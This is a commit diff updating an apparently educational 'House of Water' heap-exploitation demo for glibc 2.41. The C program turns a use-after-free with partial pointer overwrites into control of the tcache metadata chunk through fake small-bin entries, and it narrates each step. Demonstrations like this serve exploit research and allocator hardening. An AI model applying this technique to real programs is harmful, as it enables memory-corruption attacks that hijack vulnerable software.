Skip to content

Commit 19ae446

Browse files
committed
update house_of_water for 2.41
1 parent fed6e2d commit 19ae446

File tree

2 files changed

+77
-174
lines changed

2 files changed

+77
-174
lines changed

glibc_2.41/house_of_water.c

Lines changed: 77 additions & 94 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#include <stdio.h>
22
#include <stdlib.h>
33
#include <assert.h>
4+
#include <unistd.h>
45

56
/*
67
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache
@@ -14,13 +15,13 @@
1415
* size "0x10001" is created.
1516
*
1617
* This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked
17-
* address entries, enabling the creation of a fully functional fake unsorted-bin entry.
18+
* address entries, enabling the creation of a fully functional fake small-bin entry.
1819
*
1920
* The correct size should be set for the chunk, and the next chunk's prev-in-use bit
2021
* must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values
2122
* should be written.
2223
*
23-
* Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control
24+
* Finally, due to the behavior of allocations from small-bins, once t-cache metadata control
2425
* is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer
2526
* to be ready for allocation as well.
2627
*
@@ -86,25 +87,25 @@ int main(void) {
8687
puts("\t==============================");
8788
puts("\n");
8889

89-
// Step 2: Create the unsorted bins linked list, used for hijacking at a later time
90+
// Step 2: Create the small bins linked list, used for hijacking at a later time
9091
puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
9192
puts("chunk-consolidation and sets our target for the house of water attack.");
9293
puts("\t- chunks:");
9394

94-
void *unsorted_start = malloc(0x88);
95-
printf("\t\t* unsorted_start\t@ %p\n", unsorted_start);
95+
void *small_start = malloc(0x88);
96+
printf("\t\t* small_start\t@ %p\n", small_start);
9697
_ = malloc(0x18); // Guard chunk
9798

9899
puts("\t\t* /guard/");
99100

100-
void *unsorted_middle = malloc(0x88);
101-
printf("\t\t* unsorted_middle\t@ %p\n", unsorted_middle);
101+
void *small_middle = malloc(0x88);
102+
printf("\t\t* small_middle\t@ %p\n", small_middle);
102103
_ = malloc(0x18); // Guard chunk
103104

104105
puts("\t\t* /guard/");
105106

106-
void *unsorted_end = malloc(0x88);
107-
printf("\t\t* unsorted_end\t\t@ %p\n", unsorted_end);
107+
void *small_end = malloc(0x88);
108+
printf("\t\t* small_end\t\t@ %p\n", small_end);
108109
_ = malloc(0x18); // Guard chunk
109110

110111
puts("\t\t* /guard/");
@@ -119,7 +120,7 @@ int main(void) {
119120
puts("\n");
120121

121122
// Step 3: Satisfy the conditions for a free'd chunk, namely having the correct size at the end of the chunk and
122-
// a size field next to it having it's prev-in-use bit set to 0
123+
// a size field next to it having it's prev-in-use bit set to 0
123124
puts("Make an allocation to reach the end of the faked chunk");
124125

125126
_ = malloc(0xf000); // Padding
@@ -151,8 +152,8 @@ int main(void) {
151152

152153
// Step 4: Free t-cache entries
153154
puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by freeing them.");
154-
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin");
155-
puts("instead of the t-cache or small-bins.");
155+
puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the small-bin");
156+
puts("instead of the t-cache.");
156157
for (int i = 0; i < 7; i++) {
157158
free(x[i]);
158159
}
@@ -165,31 +166,31 @@ int main(void) {
165166
puts("\t==============================");
166167
puts("\n");
167168

168-
// Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps unsorted_start and unsorted_end.
169+
// Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps small_start and small_end.
169170
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
170171

171172
puts("Here comes the trickiest part!\n");
172173

173174
puts("We essentially want a pointer in the 0x20 t-cache metadata to act as a FWD\n"
174175
"pointer and a pointer in the 0x30 t-cache to act as a BCK pointer.");
175-
puts("We want it such that it points to the chunk header of our unsorted bin entries,\n"
176+
puts("We want it such that it points to the chunk header of our small bin entries,\n"
176177
"and not at the chunk itself which is common for t-cache.\n");
177178

178179
puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
179-
puts("chunk such that it overlaps with the header of unsorted_start and unsorte_end.");
180+
puts("chunk such that it overlaps with the header of small_start and small_end.");
180181
puts("");
181182

182183
puts("It should look like the following:");
183184
puts("");
184185

185-
puts("unsorted_start:");
186-
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], unsortedbin[all][0]\n", (unsigned long)(unsorted_start-0x10), *(long *)(unsorted_start-0x10), *(long *)(unsorted_start-0x8));
187-
dump_memory(unsorted_start, 2);
186+
puts("small_start:");
187+
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], small[all][0]\n", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));
188+
dump_memory(small_start, 2);
188189
puts("");
189190

190-
puts("unsorted_end:");
191-
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], unsortedbin[all][2]\n", (unsigned long)(unsorted_end-0x10), *(long *)(unsorted_end-0x10), *(long *)(unsorted_end-0x8));
192-
dump_memory(unsorted_end, 2);
191+
puts("small_end:");
192+
printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], smallbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
193+
dump_memory(small_end, 2);
193194

194195
puts("\n");
195196
puts("If you want to see a blind example using only double free, see the following chal: ");
@@ -206,26 +207,26 @@ int main(void) {
206207
puts("\n");
207208

208209
// Step 5 part 1:
209-
puts("Write 0x31 above unsorted_start to enable its freeing into the 0x30 t-cache.");
210-
printf("\t*%p-0x18 = 0x31\n", unsorted_start);
211-
*(long*)(unsorted_start-0x18) = 0x31;
210+
puts("Write 0x31 above small_start to enable its freeing into the 0x30 t-cache.");
211+
printf("\t*%p-0x18 = 0x31\n", small_start);
212+
*(long*)(small_start-0x18) = 0x31;
212213
puts("");
213214

214-
puts("This creates a 0x31 entry just above unsorted_start, which looks like the following:");
215-
dump_memory(unsorted_start-0x20, 3);
215+
puts("This creates a 0x31 entry just above small_start, which looks like the following:");
216+
dump_memory(small_start-0x20, 3);
216217
puts("");
217218

218-
printf("Free the faked 0x31 chunk @ %p\n", unsorted_start-0x10);
219-
free(unsorted_start-0x10); // Create a fake FWD
219+
printf("Free the faked 0x31 chunk @ %p\n", small_start-0x10);
220+
free(small_start-0x10); // Create a fake FWD
220221
puts("");
221222

222223
puts("Finally, because of the meta-data created by free'ing the 0x31 chunk, we need to");
223-
puts("restore the original header of the unsorted_start chunk by restoring the 0x91 header:");
224-
printf("\t*%p-0x8 = 0x91\n", unsorted_start);
225-
*(long*)(unsorted_start-0x8) = 0x91;
224+
puts("restore the original header of the small_start chunk by restoring the 0x91 header:");
225+
printf("\t*%p-0x8 = 0x91\n", small_start);
226+
*(long*)(small_start-0x8) = 0x91;
226227
puts("");
227228

228-
puts("Now, let's do the same for unsorted_end except using a 0x21 faked chunk.");
229+
puts("Now, let's do the same for small_end except using a 0x21 faked chunk.");
229230
puts("");
230231

231232

@@ -235,22 +236,22 @@ int main(void) {
235236
puts("\n");
236237

237238
// Step 5 part 2:
238-
puts("Write 0x21 above unsorted_end, such that it can be free'd in to the 0x20 t-cache:");
239-
printf("\t*%p-0x18 = 0x21\n", unsorted_end);
240-
*(long*)(unsorted_end-0x18) = 0x21;
239+
puts("Write 0x21 above small_end, such that it can be free'd in to the 0x20 t-cache:");
240+
printf("\t*%p-0x18 = 0x21\n", small_end);
241+
*(long*)(small_end-0x18) = 0x21;
241242
puts("");
242243

243-
puts("This creates a 0x21 just above unsorted_end, which looks like the following:");
244-
dump_memory(unsorted_end-0x20, 3);
244+
puts("This creates a 0x21 just above small_end, which looks like the following:");
245+
dump_memory(small_end-0x20, 3);
245246
puts("");
246247

247-
printf("Free the faked 0x21 chunk @ %p\n", unsorted_end-0x10);
248-
free(unsorted_end-0x10); // Create a fake BCK
248+
printf("Free the faked 0x21 chunk @ %p\n", small_end-0x10);
249+
free(small_end-0x10); // Create a fake BCK
249250
puts("");
250251

251-
puts("restore the original header of the unsorted_end chunk by restoring the 0x91 header:");
252-
printf("\t*%p-0x8 = 0x91\n", unsorted_end);
253-
*(long*)(unsorted_end-0x8) = 0x91;
252+
puts("restore the original header of the small_end chunk by restoring the 0x91 header:");
253+
printf("\t*%p-0x8 = 0x91\n", small_end);
254+
*(long*)(small_end-0x8) = 0x91;
254255
puts("");
255256

256257

@@ -260,27 +261,27 @@ int main(void) {
260261
puts("\t==============================");
261262
puts("\n");
262263

263-
// Step 6: Create the unsorted bin list
264-
puts("Now, let's free the unsorted bin entries!");
264+
// Step 6: Create the small bin list
265+
puts("Now, let's free the small bin entries!");
265266

266-
puts("\t> free(unsorted_end);");
267-
free(unsorted_end);
267+
puts("\t> free(small_end);");
268+
free(small_end);
268269

269-
puts("\t> free(unsorted_middle);");
270-
free(unsorted_middle);
270+
puts("\t> free(small_middle);");
271+
free(small_middle);
271272

272-
puts("\t> free(unsorted_start);");
273-
free(unsorted_start);
273+
puts("\t> free(small_start);");
274+
free(small_start);
274275

275276
puts("\n");
276277

277278
// Show the setup as is
278279

279280
puts("At this point, our heap looks something like this:");
280281

281-
printf("\t- Unsorted bin:\n");
282-
puts("\t\tunsorted_start <--> unsorted_middle <--> unsorted_end");
283-
printf("\t\t%p <--> %p <--> %p\n", unsorted_start-0x10, unsorted_middle-0x10, unsorted_end-0x10);
282+
printf("\t- Small bin:\n");
283+
puts("\t\tsmall_start <--> small_middle <--> small_end");
284+
printf("\t\t%p <--> %p <--> %p\n", small_start-0x10, small_middle-0x10, small_end-0x10);
284285

285286
printf("\t- 0x20 t-cache:\n");
286287
printf("\t\t* 0x%lx\n", *(long*)(metadata+0x90));
@@ -292,8 +293,8 @@ int main(void) {
292293
dump_memory(metadata+0x70, 4);
293294
puts("");
294295

295-
puts("We can now observe that the 0x30 t-cache points to unsorted_start and 0x20 t-cache points to ");
296-
puts("unsorted_end, which is what we need to fake an unsorted-bin entry and hijack unsorted_middle.");
296+
puts("We can now observe that the 0x30 t-cache points to small_start and 0x20 t-cache points to ");
297+
puts("small_end, which is what we need to fake an small-bin entry and hijack small_middle.");
297298

298299

299300
puts("\n");
@@ -302,29 +303,29 @@ int main(void) {
302303
puts("\t==============================");
303304
puts("\n");
304305

305-
// Step 7: Overwrite LSB of unsorted_start and unsorted_end to point to the fake t-cache metadata chunk
306-
puts("Finally, all there is left to do is simply overwrite the LSB of unsorted_start FWD-");
307-
puts("and BCK pointer for unsorted_end to point to the faked t-cache metadata chunk.");
306+
// Step 7: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk
307+
puts("Finally, all there is left to do is simply overwrite the LSB of small_start FWD-");
308+
puts("and BCK pointer for small_end to point to the faked t-cache metadata chunk.");
308309
puts("");
309310

310311
/* VULNERABILITY */
311-
printf("\t- unsorted_start:\n");
312-
printf("\t\t*%p = %p\n", unsorted_start, metadata+0x80);
313-
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
312+
printf("\t- small_start:\n");
313+
printf("\t\t*%p = %p\n", small_start, metadata+0x80);
314+
*(unsigned long *)small_start = (unsigned long)(metadata+0x80);
314315
puts("");
315316

316-
printf("\t- unsorted_end:\n");
317-
printf("\t\t*%p = %p\n", unsorted_end, metadata+0x80);
318-
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
317+
printf("\t- small_end:\n");
318+
printf("\t\t*%p = %p\n", small_end, metadata+0x80);
319+
*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x80);
319320
puts("");
320321
/* VULNERABILITY */
321322

322-
puts("At this point, the unsorted bin will look like the following:");
323+
puts("At this point, the small bin will look like the following:");
323324
puts("");
324325

325-
puts("\t- unsorted bin:");
326-
printf("\t\t unsorted_start <--> metadata chunk <--> unsorted_end\n");
327-
printf("\t\t %p\t %p %p\n", unsorted_start, metadata+0x80, unsorted_end);
326+
puts("\t- small bin:");
327+
printf("\t\t small_start <--> metadata chunk <--> small_end\n");
328+
printf("\t\t %p\t %p %p\n", small_start, metadata+0x80, small_end);
328329

329330

330331
puts("\n");
@@ -334,37 +335,19 @@ int main(void) {
334335
puts("\n");
335336

336337
// Step 8: allocate to win
337-
puts("Now, simply just allocate a chunk that's within the 0x10000 range");
338-
puts("to allocate from the faked chunk. As an example, we will allocate a 0x288:");
339-
340-
puts("\t- 0x288 chunk:");
338+
puts("Now, we can get the metadata chunk by doing 10 allocations:");
339+
puts("\t7 for tcachebins");
340+
puts("\t1 for small_start, which triggers the reverse refilling logic (moving chunks from smallbin to tcache)");
341+
puts("\t1 for small_end, it is out first because revere refilling reverses the linked list");
342+
puts("\tand the last one is our tcache metadata chunk");
341343

344+
for(int i=0; i<9; i++) malloc(0x88);
345+
342346
// Next allocation *could* be our faked chunk!
343-
void *meta_chunk = malloc(0x288);
347+
void *meta_chunk = malloc(0x88);
344348

345349
printf("\t\tNew chunk\t @ %p\n", meta_chunk);
346350
printf("\t\tt-cache metadata @ %p\n", metadata);
347351
assert(meta_chunk == (metadata+0x90));
348352
puts("");
349-
350-
351-
puts("\n");
352-
puts("\t==============================");
353-
puts("\t| BONUS! |");
354-
puts("\t==============================");
355-
puts("\n");
356-
357-
// BONUS!
358-
puts("Whilst the primary goal of this house is to provide a leakless way");
359-
puts("to gain t-cache control by overwriting LSB, a nice bonus is the free LIBC");
360-
puts("pointer we get as an added bonus to the method!");
361-
puts("");
362-
363-
puts("This is what the t-cache metadata will look like after we allocated the");
364-
puts("t-cache metadata chunk:");
365-
dump_memory(metadata+0x70, 4);
366-
puts("");
367-
368-
369-
puts("Notice how the 0x20 and 0x30 t-cache now contains a libc pointer to the main_arena.");
370353
}

0 commit comments

Comments
 (0)